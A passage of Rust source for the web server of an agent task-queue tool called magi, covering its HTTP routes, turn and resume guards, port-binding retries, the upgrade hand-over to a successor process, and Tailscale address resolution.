875    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
876        let mut live = self
877            .resuming
878            .lock()
879            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
880        if !live.insert(id.to_owned()) {
881            return Err(ApiError::conflict(format!(
882                "run {id} is already being resumed"
883            )));
884        }
885        Ok(ResumeGuard {
886            run: id.to_owned(),
887            resuming: Arc::clone(&self.resuming),
888        })
889    }
890
891    /// The router, with this state baked in.
892    ///
893    /// The three front-end files get one explicit route each rather than a
894    /// path parameter, so there is no traversal surface to get wrong: the set
895    /// of servable paths is the set written here. The asset route below is the
896    /// one exception and the only place in this server where a client names a
897    /// file; it is why [`valid_asset_name`] is checked before a path is built.
898    pub fn router(self) -> Router {
899        Router::new()
900            .route("/", get(index))
901            .route("/app.css", get(app_css))
902            .route("/app.js", get(app_js))
903            .route("/api/health", get(health))
904            .route("/api/loop", get(loop_get).post(loop_post))
905            .route("/api/upgrade", post(upgrade_post))
906            .route("/api/runs", get(runs_list))
907            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
908            .route("/api/runs/{id}/report", get(run_report))
909            .route("/api/runs/{id}/report.json", get(run_report_json))
910            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
911            .route("/api/runs/{id}/fold", post(run_fold))
912            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
913            .route("/api/runs/{id}/resume", post(run_resume))
914            .route("/api/queue", get(queue_list))
915            .route("/api/search", get(search_get))
916            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
917            .route("/api/stats", get(stats_get))
918            .route("/api/repos", get(repos_list))
919            .route("/api/settings", get(settings_get))
920            .route("/api/settings/roles", put(settings_put_roles))
921            .route("/api/queue/{id}/hold", post(queue_hold))
922            .route("/api/queue/{id}/release", post(queue_release))
923            .route("/api/queue/{id}/priority", post(queue_priority))
924            .route("/api/queue/{id}/implementers", post(queue_implementers))
925            .route("/api/queue/{id}/edit", post(queue_edit))
926            .route("/api/queue/{id}/done", post(queue_done))
927            .route("/api/questions", get(questions_list))
928            .route("/api/questions/{id}/answer", post(question_answer))
929            .route("/api/questions/{id}/say", post(question_say))
930            .route("/api/questions/{id}/consult", post(question_consult))
931            .route("/api/questions/{id}/panel", get(question_panel))
932            // The same asset, reachable from inside the panel by its bare
933            // filename. A document served at `.../panel` resolves `shot.png`
934            // to `.../shot.png`, which is not the asset route, so a panel
935            // written the way its author was told to write it showed broken
936            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
937            // it - deliberately - so the fix is that the panel's own URL ends
938            // in a filename and its siblings are the assets.
939            .route("/api/questions/{id}/panel/index.html", get(question_panel))
940            .route("/api/questions/{id}/panel/{name}", get(question_asset))
941            .route("/api/questions/{id}/asset/{name}", get(question_asset))
942            .route("/api/notifications", get(notifications_list))
943            .route("/api/notifications/read-all", post(notifications_read_all))
944            .route("/api/notifications/{id}/read", post(notification_read))
945            .route(
946                "/api/notifications/{id}/dismiss",
947                post(notification_dismiss),
948            )
949            .route("/api/talks", get(talks_list).post(talk_post))
950            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
951            .route("/api/talks/{id}/say", post(talk_say))
952            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
953            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
954            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
955            .route("/api/talks/{id}/agent", post(talk_agent))
956            .route("/api/talks/{id}/persona", post(talk_persona))
957            .route("/api/talks/{id}/implementers", post(talk_implementers))
958            .route("/api/talks/{id}/close", post(talk_close))
959            .route("/api/talks/{id}/reopen", post(talk_reopen))
960            // `DefaultBodyLimit` is raised only on this one route - every
961            // other route on this server answers in a few kilobytes, and
962            // widening the crate-wide default for all of them just because
963            // one accepts a picture would let any other handler be handed
964            // a multi-megabyte body it never expects.
965            .route(
966                "/api/talks/{id}/attachments",
967                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
968            )
969            .route(
970                "/api/talks/{id}/attachments/{att}",
971                get(talk_attachment_get),
972            )
973            .route("/api/talks/{id}/avatar", get(talk_avatar))
974            .route("/avatars/operator.svg", get(operator_avatar))
975            .route("/api/events", get(events))
976            .with_state(Arc::new(self))
977    }
978}
979
980/// What a chat request is told while an upgrade is parking and the request
981/// cannot be queued as a draft.
982const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
983
984/// One talk's turn slot, released on drop.
985///
986/// A guard rather than a matching `remove` at the end of the handler, because
987/// the handler has several early returns and one `await` that can be cancelled
988/// out from under it. A leaked id is a talk nobody can talk to again.
989#[derive(Debug)]
990struct TalkTurnGuard {
991    talk: String,
992    turns: Arc<Mutex<TalkTurns>>,
993    released: bool,
994    /// The cross-process half of the slot; dropped with the guard.
995    lease: Option<crate::talk::TurnLease>,
996}
997
998/// In-memory turn ownership plus the queue generation observed by a drainer.
999///
1000/// The generation changes only after a durable queued draft is written and its
1001/// caller finds the turn busy. That lets the loop run filesystem work outside
1002/// this mutex while still making the final empty-check/release atomic with a
1003/// concurrent queue handoff.
1004#[derive(Debug, Default)]
1005struct TalkTurns {
1006    live: HashSet<String>,
1007    queued: HashMap<String, u64>,
1008    /// Set while an upgrade hand-over is parking: no turn may start, so the
1009    /// set in `live` can only shrink. Cleared again if the hand-over ends
1010    /// without exiting the process.
1011    parking: bool,
1012}
1013
1014/// The atomic initial-state decision made by
1015/// [`Ui::begin_talk_turn_unless_pending`].
1016enum TalkTurnStart {
1017    Claimed(TalkTurnGuard),
1018    Busy,
1019    /// Another process holds the turn lease. Unlike `Busy` there is no local
1020    /// drain loop that would answer a queued draft, so the caller refuses.
1021    Foreign,
1022    Pending,
1023}
1024
1025impl TalkTurnGuard {
1026    /// Does this guard still own the on-disk lease? A transient failure to
1027    /// check counts as owning: the next beat decides. A guard that lost it
1028    /// must not start another turn on the same session.
1029    fn owns(&self) -> bool {
1030        self.lease
1031            .as_ref()
1032            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1033    }
1034
1035    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1036    /// than the lease's TTL still reads as held to other processes.
1037    async fn respond(
1038        &self,
1039        talk: &mut Talk,
1040        talks: &Talks,
1041        cfg: &Config,
1042        text: &str,
1043    ) -> anyhow::Result<()> {
1044        let lease = self
1045            .lease
1046            .as_ref()
1047            .context("the turn guard no longer holds its lease")?;
1048        talk::respond(lease, talk, talks, cfg, text).await
1049    }
1050
1051    /// Release while the caller already holds the claim mutex, closing the
1052    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1053    fn release(mut self, live: &mut TalkTurns) {
1054        // The on-disk lease goes first: while `live` still names the talk, no
1055        // local claim can start, so nobody observes the slot free but the
1056        // lease held.
1057        self.lease = None;
1058        live.live.remove(&self.talk);
1059        live.queued.remove(&self.talk);
1060        self.released = true;
1061    }
1062}
1063
1064impl Drop for TalkTurnGuard {
1065    fn drop(&mut self) {
1066        if self.released {
1067            return;
1068        }
1069        // Lease first, then the in-process slot (see `release`).
1070        drop(self.lease.take());
1071        if let Ok(mut live) = self.turns.lock() {
1072            live.live.remove(&self.talk);
1073            live.queued.remove(&self.talk);
1074        }
1075    }
1076}
1077
1078/// Releases a resume claim, so a run is resumable again after the attempt.
1079struct ResumeGuard {
1080    run: String,
1081    resuming: Arc<Mutex<HashSet<String>>>,
1082}
1083
1084impl Drop for ResumeGuard {
1085    fn drop(&mut self) {
1086        if let Ok(mut live) = self.resuming.lock() {
1087            live.remove(&self.run);
1088        }
1089    }
1090}
1091
1092/// Bind the port, waiting briefly for a predecessor to let go of it.
1093///
1094/// A restart hands the address from one process to the next, and the old one
1095/// holds its listener until it unwinds. A single `bind` can lose that race,
1096/// and for a restart triggered from a phone that means the deck never comes
1097/// back with no terminal around to say why.
1098///
1099/// Bounded, and only for the one error a wait can fix: anything else fails at
1100/// once, because retrying it would turn a clear message into a silence.
1101async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1102    const WINDOW: Duration = Duration::from_secs(10);
1103    const GAP: Duration = Duration::from_millis(250);
1104
1105    let deadline = std::time::Instant::now() + WINDOW;
1106    let mut said = false;
1107    loop {
1108        match tokio::net::TcpListener::bind(socket).await {
1109            Ok(listener) => return Ok(listener),
1110            Err(e)
1111                if e.kind() == std::io::ErrorKind::AddrInUse
1112                    && std::time::Instant::now() < deadline =>
1113            {
1114                if !said {
1115                    said = true;
1116                    tracing::info!(
1117                        "{socket} is still held - waiting up to {}s for it, \
1118                         which is what a restart looks like from here",
1119                        WINDOW.as_secs()
1120                    );
1121                }
1122                tokio::time::sleep(GAP).await;
1123            }
1124            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1125        }
1126    }
1127}
1128
1129/// Signalled when an upgrade has replaced the binary and the successor should
1130/// take this address over. One per process: there is one address to hand on.
1131static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1132
1133/// Set to `1` on the successor when the loop was running at handover.
1134const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1135
1136/// Whether the environment value asks for the loop to be resumed.
1137fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1138    value.is_some_and(|v| v == "1")
1139}
1140
1141/// Start this binary again with the same arguments, detached.
1142///
1143/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1144/// so the address is already free when the successor binds it. The first
1145/// attempt at this spawned the successor two hundred milliseconds before
1146/// exiting instead, and the released binary - which has no bind retry - died
1147/// on "address already in use" with its stdio sent to null, so the deck
1148/// simply never came back.
1149///
1150/// Detached and without inherited stdio: the successor has to outlive this
1151/// process, and must not hold open a pipe a terminal is waiting on.
1152///
1153/// `resume` tells the successor to start the queue loop, through
1154/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1155/// process inherited from its own predecessor cannot leak into a generation
1156/// that should not resume. The successor's own environment keeps the variable
1157/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1158///
1159/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1160/// than sent to null: a supervisor's redirection only ever held the first
1161/// generation's descriptors, so every later generation logged nowhere. The
1162/// pid of the child is returned so the handover log can name it.
1163fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1164    let exe = std::env::current_exe().context("find this binary")?;
1165    let args: Vec<String> = std::env::args().skip(1).collect();
1166    updater::log_step(
1167        home,
1168        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1169    );
1170    let log_path = home.join(WEB_LOG);
1171    let open_log = || {
1172        std::fs::create_dir_all(home)?;
1173        std::fs::OpenOptions::new()
1174            .create(true)
1175            .append(true)
1176            .open(&log_path)
1177    };
1178    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1179        Ok(pair) => (
1180            std::process::Stdio::from(pair.0),
1181            std::process::Stdio::from(pair.1),
1182        ),
1183        Err(e) => {
1184            updater::log_warn(
1185                home,
1186                &format!(
1187                    "could not open {}: {e}; the successor logs nowhere",
1188                    log_path.display()
1189                ),
1190            );
1191            (std::process::Stdio::null(), std::process::Stdio::null())
1192        }
1193    };
1194
1195    let mut cmd = std::process::Command::new(&exe);
1196    if resume {
1197        cmd.env(RESUME_LOOP_ENV, "1");
1198    } else {
1199        cmd.env_remove(RESUME_LOOP_ENV);
1200    }
1201    cmd.args(&args)
1202        .stdin(std::process::Stdio::null())
1203        .stdout(out)
1204        .stderr(err);
1205    #[cfg(windows)]
1206    {
1207        use std::os::windows::process::CommandExt as _;
1208        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1209        // and Ctrl-C in the old terminal must not reach the successor.
1210        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1211    }
1212    let child = cmd.spawn().context("start the successor")?;
1213    Ok(child.id())
1214}
1215
1216/// File under `<home>` the successor's output is appended to.
1217const WEB_LOG: &str = "web.log";
1218
1219/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1220/// stored by an earlier `notify_one` is consumed by the first poll, so the
1221/// signal is never missed and never wakes a second time.
1222async fn wait_for_handover(signal: &Notify) {
1223    signal.notified().await;
1224}
1225
1226/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1227///
1228/// The server itself owns no state, so nothing here is graceful for the HTTP
1229/// side's sake: the connections go with the dropped listener, which costs a
1230/// phone one change-stream reconnection it was going to make anyway.
1231///
1232/// The signal branch is not optional now that the loop lives in this process.
1233/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1234/// handler is what stops the signal terminating the process - so without a
1235/// branch of our own, the first Ctrl-C after the operator started the loop
1236/// would stop the loop and leave `magi web` listening forever, unkillable
1237/// from the terminal it was started in.
1238///
1239/// What it waits for is the loop, not the sockets. A run in flight is
1240/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1241/// mid-node leaves worktrees, branches and agent sessions behind and throws
1242/// away every agent call already paid for.
1243///
1244/// The server therefore runs on a task of its own rather than inside the
1245/// `select!`: an arm that resolves *drops* the futures the other arms were
1246/// polling, so serving the address from inside one would take the deck down
1247/// at the instant the handover began and keep it down for the whole park -
1248/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1249/// owns the order.
1250pub async fn serve(opts: Opts) -> Result<()> {
1251    let (addr, warning) = resolve_bind(&opts.bind);
1252    if let Some(warning) = warning {
1253        tracing::warn!("{warning}");
1254    }
1255
1256    // Process-global, and therefore set exactly once, here: the report route
1257    // must never emit escape sequences into a browser, and toggling the flag
1258    // per request would race with a concurrent request rendering its own
1259    // report. Startup is the only moment at which no request can observe the
1260    // change. Nothing in the server turns colour back on.
1261    report::set_color(false);
1262
1263    let repo = normalize_default_repo(opts.repo).await;
1264    let ui = Ui::open(repo).with_merge(opts.merge);
1265    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1266    // home to bracket the parking and restarting stages, and `run_update_recheck`
1267    // needs both it and the repo, and by then there is no `ui` left to read
1268    // them from.
1269    let home = ui.home.clone();
1270    let repo = ui.repo.clone();
1271    // Settles a progress record a predecessor left non-terminal - either this
1272    // *is* the successor `spawn_successor` started, or the previous process
1273    // died mid-handover. Before the router starts answering, so the very
1274    // first `/api/health` a phone gets from this process already reflects it.
1275    updater::reconcile_after_restart(&home);
1276    updater::log_step(
1277        &home,
1278        &format!(
1279            "web process started (version {}); handover log {}, successor output {}",
1280            env!("CARGO_PKG_VERSION"),
1281            updater::log_path(&home).display(),
1282            home.join(WEB_LOG).display()
1283        ),
1284    );
1285    updater::spawn_watchdog(home.clone());
1286    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1287    // `spawn_update_check` does at startup only ever runs once: after that,
1288    // `/api/health`'s `update` field - and the phone's "Update & restart"
1289    // button, which reads the very same cache - would stay frozen on
1290    // whatever that single check found, no matter how many releases ship
1291    // afterwards. This keeps it current instead. Detached: it must keep
1292    // going for as long as this process serves, `serve` has nothing to await
1293    // it for, and it exits on its own the moment the process does.
1294    tokio::spawn(run_update_recheck(repo, home.clone()));
1295    let looping = ui.looping();
1296    let turns = ui.turns();
1297    let talk_store = ui.talks.clone();
1298    let socket = SocketAddr::new(addr, opts.port);
1299    let listener = bind_waiting(socket).await?;
1300    let url = format!("http://{addr}:{}", opts.port);
1301    tracing::info!(
1302        "magi web UI on {url} - there is no authentication, so anyone who can \
1303         reach this address can file and hold tasks: the tailnet is the \
1304         security boundary"
1305    );
1306    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1307        tracing::info!("resumed the loop the predecessor was running");
1308    } else {
1309        tracing::info!(
1310            "the queue loop is not running yet - start it from the UI, which is \
1311             the whole reason this process can: nothing in the queue moves until \
1312             something is running the loop"
1313        );
1314    }
1315    if opts.open {
1316        // The URL alone on stdout, for a caller that wants to open it. magi
1317        // does not spawn a browser: on the machine this usually runs on there
1318        // is no display, and a failed launch would be the only output.
1319        println!("{url}");
1320    }
1321
1322    // On its own task, so nothing this function awaits can stop the address
1323    // being answered. `hand_over` is where it is given up.
1324    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1325    let interrupted = async {
1326        if tokio::signal::ctrl_c().await.is_err() {
1327            // No handler on this platform, so there is no signal to act on.
1328            // Never resolving is the safe answer: a failed registration must
1329            // not masquerade as the operator asking for a shutdown and take
1330            // the UI down on startup.
1331            std::future::pending::<()>().await;
1332        }
1333    };
1334    let handover = wait_for_handover(&HANDOVER);
1335    let outcome = tokio::select! {
1336        joined = &mut served => match joined {
1337            Ok(outcome) => outcome.context("serve the web UI"),
1338            Err(e) => Err(e).context("the task serving the web UI ended"),
1339        },
1340        () = interrupted => {
1341            tracing::info!("shutting down the web UI");
1342            finish_loop(&home, &looping, None).await;
1343            Ok(())
1344        }
1345        () = handover => {
1346            updater::log_step(&home, "serve: the select! woke on the handover signal");
1347            let successor_home = home.clone();
1348            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1349            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1350                spawn_successor(&successor_home, resume)
1351            })
1352            .await
1353        }
1354    };
1355    updater::log_step(
1356        &home,
1357        &match &outcome {
1358            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1359            Err(e) => format!("serve: returning an error: {e:#}"),
1360        },
1361    );
1362    outcome
1363}
1364
1365/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1366/// process's own working directory is not a git checkout at all - the
1367/// checkout [`repos::discover_verified`] finds instead.
1368///
1369/// Only the unmodified default is ever replaced: an operator who named a
1370/// directory outright, git checkout or not, gets exactly that directory
1371/// back, and the same story downstream (a talk whose briefing embeds a
1372/// non-git directory, and an agent that has to ask the operator where the
1373/// real repository is) that has always told them so - substituting a guess
1374/// for an explicit answer would be a second, silent opinion about what they
1375/// meant. There is no instruction or task text yet to match against this
1376/// early, so only [`repos::discover_verified`]'s own-repository tier can
1377/// ever settle this - the hint tier never fires here.
1378///
1379/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1380/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1381/// or a git installation that is broken in exactly the way that made the
1382/// original `canonical` check above fail too - so it is re-checked with
1383/// `git::toplevel` before it is ever used in place of the operator's own
1384/// directory.
1385async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1386    if repo != FsPath::new(".") {
1387        return repo;
1388    }
1389    let Ok(canonical) = repo.canonicalize() else {
1390        return repo;
1391    };
1392    if git::toplevel(&canonical).await.is_ok() {
1393        return repo;
1394    }
1395    let Some(home) = dirs::home_dir() else {
1396        return repo;
1397    };
1398    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1399        Some(found) => {
1400            tracing::info!(
1401                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1402                canonical.display(),
1403                found.path.display(),
1404                found.reason,
1405            );
1406            found.path
1407        }
1408        None => repo,
1409    }
1410}
1411
1412/// Park the loop, then release the address, then start the successor.
1413///
1414/// The order is the whole function, and each step is answerable to a failure
1415/// this arrangement has already had:
1416///
1417/// 1. **Park.** The loop was asked to stop by the request that replaced the
1418///    binary, and this waits for it, because killing the graph mid-node
1419///    leaves worktrees, branches and agent sessions behind and throws away
1420///    every agent call already paid for. It takes as long as the node in
1421///    flight - up to `timeout_implement`, an hour by default - and the deck
1422///    goes on answering for all of it, which is the reason `served` is a task
1423///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1424///    first upgrade from a phone that caught a run mid-implement dropped the
1425///    listener the moment it was asked to, and the operator got
1426///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1427///    waiting on and nothing but a process list to say the run was alive.
1428/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1429///    the join resolves only once the task's future has been dropped, so the
1430///    listener is released before the next line. Connections it already
1431///    accepted are served on tasks of their own and wind down asynchronously;
1432///    on some platforms (macOS) they can briefly keep the address busy, and
1433///    the successor's `bind_waiting` absorbs that.
1434/// 3. **Start the successor**, which binds the address this process has just
1435///    let go of - see [`spawn_successor`] for what the other order cost.
1436///
1437/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1438/// reporting, not part of the design: it exists so `/api/health` can say
1439/// "parking, waiting on run X" instead of leaving the phone to guess why the
1440/// deck went quiet, and dropping it would not change the order above.
1441async fn hand_over(
1442    home: &FsPath,
1443    looping: &Mutex<LoopState>,
1444    turns: &Arc<Mutex<TalkTurns>>,
1445    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1446    served: tokio::task::JoinHandle<std::io::Result<()>>,
1447    successor: impl FnOnce(bool) -> Result<u32>,
1448) -> Result<()> {
1449    updater::log_step(home, "hand_over: entered; writing the parking stage");
1450    // The lease and the stage are written as one step, so a reader that sees
1451    // `parking` also finds the proof that hand_over is alive. Dropped on
1452    // every way out.
1453    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1454    if !recorded {
1455        updater::log_warn(
1456            home,
1457            "hand_over: upgrade.json is unreadable; no parking stage",
1458        );
1459    }
1460    // Chat stays open while the loop parks: nothing restarts until it ends,
1461    // and the park can last as long as a node. Only once it is done is the
1462    // slot closed, right before the restart; a turn started earlier is in
1463    // `live` by then, so `finish_talks` waits for it.
1464    finish_loop(home, looping, Some(&mut lease)).await;
1465    let parking = ParkingTurns::begin(turns);
1466    let talks_done = finish_talks(home, turns, talk_wait);
1467    tokio::pin!(talks_done);
1468    let mut beat = tokio::time::interval(LEASE_BEAT);
1469    let (abandoned, waited_for) = loop {
1470        tokio::select! {
1471            left = &mut talks_done => break left,
1472            _ = beat.tick() => lease.beat(),
1473        }
1474    };
1475    drop(lease);
1476    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1477    served.abort();
1478    let _ = served.await;
1479    updater::log_step(home, "hand_over: listener released");
1480    // Read last: the deck answers for the whole park, so an operator's stop
1481    // during the wait must still be honoured by the successor.
1482    let resume = lock_or_recover(looping).resume_after_handover;
1483    match updater::read_progress(home) {
1484        Some(mut progress) => {
1485            progress.advance(updater::Stage::Restarting);
1486            if !abandoned.is_empty() {
1487                progress.detail = Some(format!(
1488                    "handed over while {} still running after {} s",
1489                    updater::talks_phrase(&abandoned),
1490                    waited_for.as_secs()
1491                ));
1492            }
1493            updater::write_progress_logged(home, &progress);
1494        }
1495        None => updater::log_warn(
1496            home,
1497            "hand_over: upgrade.json is unreadable; no restarting stage",
1498        ),
1499    }
1500    updater::log_step(
1501        home,
1502        &format!("hand_over: starting the successor (resume={resume})"),
1503    );
1504    drop(parking);
1505    match successor(resume) {
1506        Ok(pid) => {
1507            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1508            Ok(())
1509        }
1510        Err(e) => {
1511            updater::log_warn(
1512                home,
1513                &format!("hand_over: the successor did not start: {e:#}"),
1514            );
1515            Err(e)
1516        }
1517    }
1518}
1519
1520/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1521/// a turn that runs its full timeout still needs a moment to record its answer.
1522const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1523
1524/// How often the park looks at the chat turns still running.
1525const TALK_POLL: Duration = Duration::from_millis(250);
1526
1527/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1528/// grace. Beyond it a stuck turn must not block the hand-over.
1529fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1530    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1531}
1532
1533/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1534/// the repositories those talks run in (each turn uses its own talk's
1535/// configuration), plus the grace. A talk or config that cannot be read counts
1536/// with the default timeout.
1537fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1538    let default = Config::default().graph.timeout_talk;
1539    let longest = ids
1540        .iter()
1541        .map(|id| {
1542            talks
1543                .get(id)
1544                .ok()
1545                .and_then(|t| Config::discover(&t.repo, None).ok())
1546                .map_or(default, |(c, _)| c.graph.timeout_talk)
1547        })
1548        .max()
1549        .unwrap_or(default);
1550    talk_wait_bound(longest)
1551}
1552
1553/// Stops new chat turns for as long as it lives, so the hand-over only ever
1554/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1555/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1556struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1557
1558impl ParkingTurns {
1559    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1560        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1561        Self(Arc::clone(turns))
1562    }
1563}
1564
1565impl Drop for ParkingTurns {
1566    fn drop(&mut self) {
1567        self.0
1568            .lock()
1569            .unwrap_or_else(PoisonError::into_inner)
1570            .parking = false;
1571    }
1572}
1573
1574/// Wait until no chat turn is running in this process, for at most the longest
1575/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1576/// running when the bound was hit (empty when the turns finished) with the
1577/// bound that applied, after saying so in the upgrade log.
1578async fn finish_talks(
1579    home: &FsPath,
1580    turns: &Mutex<TalkTurns>,
1581    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1582) -> (Vec<String>, Duration) {
1583    let running = || {
1584        let mut ids: Vec<String> = turns
1585            .lock()
1586            .unwrap_or_else(PoisonError::into_inner)
1587            .live
1588            .iter()
1589            .cloned()
1590            .collect();
1591        // A turn another task of this process (the daemon's completion
1592        // notice) or another process runs holds only the on-disk lease.
1593        let talks = talk::Talks::at(home.join("talks"));
1594        for t in talks.list() {
1595            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1596                ids.push(t.id);
1597            }
1598        }
1599        ids.sort();
1600        ids
1601    };
1602    let started = std::time::Instant::now();
1603    let mut seen = Vec::new();
1604    let mut bound = Duration::ZERO;
1605    loop {
1606        let ids = running();
1607        if ids != seen {
1608            bound = bound.max(bound_for(&ids));
1609            if ids.is_empty() {
1610                updater::log_step(home, "finish_talks: no chat turn is running");
1611            } else {
1612                updater::log_step(
1613                    home,
1614                    &format!(
1615                        "finish_talks: waiting for {} to finish",
1616                        updater::talks_phrase(&ids)
1617                    ),
1618                );
1619            }
1620            updater::set_parked_talks(home, &ids);
1621            seen = ids;
1622        }
1623        if seen.is_empty() {
1624            return (Vec::new(), bound);
1625        }
1626        if started.elapsed() >= bound {
1627            updater::log_warn(
1628                home,
1629                &format!(
1630                    "finish_talks: {} still running after {} s; handing over anyway",
1631                    updater::talks_phrase(&seen),
1632                    bound.as_secs()
1633                ),
1634            );
1635            return (seen, bound);
1636        }
1637        tokio::time::sleep(TALK_POLL).await;
1638    }
1639}
1640
1641/// How often `finish_loop` renews the handover lease; well inside
1642/// [`updater::LEASE_TTL_SECS`].
1643const LEASE_BEAT: Duration = Duration::from_secs(20);
1644
1645/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1646///
1647/// The wait is the whole function. Returning from `serve` while a graph is
1648/// mid-node ends the process with worktrees, branches and agent sessions left
1649/// behind and every agent call in that run paid for and thrown away, which is
1650/// exactly what the daemon's own shutdown refuses to do.
1651async fn finish_loop(
1652    home: &FsPath,
1653    state: &Mutex<LoopState>,
1654    mut lease: Option<&mut updater::LeaseGuard>,
1655) {
1656    let live = lock_or_recover(state).live.take();
1657    let Some(live) = live else {
1658        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1659        return;
1660    };
1661    live.stop.stop();
1662    lock_or_recover(state).rev += 1;
1663    updater::log_step(
1664        home,
1665        "finish_loop: waiting for the loop to finish the run in flight",
1666    );
1667    let waited = std::time::Instant::now();
1668    // The task records its own outcome and logs it, so there is nothing to do
1669    // with a join error here but stop waiting.
1670    let mut handle = live.handle;
1671    let mut beat = tokio::time::interval(LEASE_BEAT);
1672    loop {
1673        tokio::select! {
1674            _ = &mut handle => break,
1675            _ = beat.tick() => {
1676                if let Some(lease) = lease.as_deref_mut() {
1677                    lease.beat();
1678                }
1679            }
1680        }
1681    }
1682    updater::log_step(
1683        home,
1684        &format!(
1685            "finish_loop: the loop ended after {:.1}s",
1686            waited.elapsed().as_secs_f32()
1687        ),
1688    );
1689}
1690
1691/// Resolve `--bind` to an address, plus a warning when the answer is not what
1692/// the operator asked for.
1693///
1694/// Split out from [`serve`] because the interesting half - deciding whether
1695/// Tailscale gave us something usable - is testable without opening a socket.
1696pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1697    match bind {
1698        Bind::Addr(addr) => (*addr, None),
1699        Bind::Auto => match tailscale_ip() {
1700            Ok(ip) => (IpAddr::V4(ip), None),
1701            Err(why) => (
1702                IpAddr::V4(Ipv4Addr::LOCALHOST),
1703                Some(format!(
1704                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1705                     local-only and a phone cannot reach it; start Tailscale \
1706                     or pass --bind <addr>"
1707                )),
1708            ),
1709        },
1710    }
1711}
1712
1713/// This machine's Tailscale IPv4, or why there is not one.
1714///
1715/// `tailscale ip -4` is a local call against the running daemon and returns in
1716/// milliseconds, so it is fine to make it synchronously before the server
1717/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1718/// CGNAT block Tailscale assigns from, and anything else on that output would
1719/// be a different tool answering.
1720fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1721    let out = std::process::Command::new("tailscale")
1722        .args(["ip", "-4"])
1723        .quiet()
1724        .output()
1725        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1726    if !out.status.success() {
1727        let why = String::from_utf8_lossy(&out.stderr);
1728        let why = why.trim();
1729        return Err(format!(
1730            "`tailscale ip -4` failed ({}){}",
1731            out.status,
1732            if why.is_empty() {
1733                String::new()
1734            } else {
1735                format!(": {why}")
1736            }
1737        ));
1738    }
1739    String::from_utf8_lossy(&out.stdout)
1740        .lines()
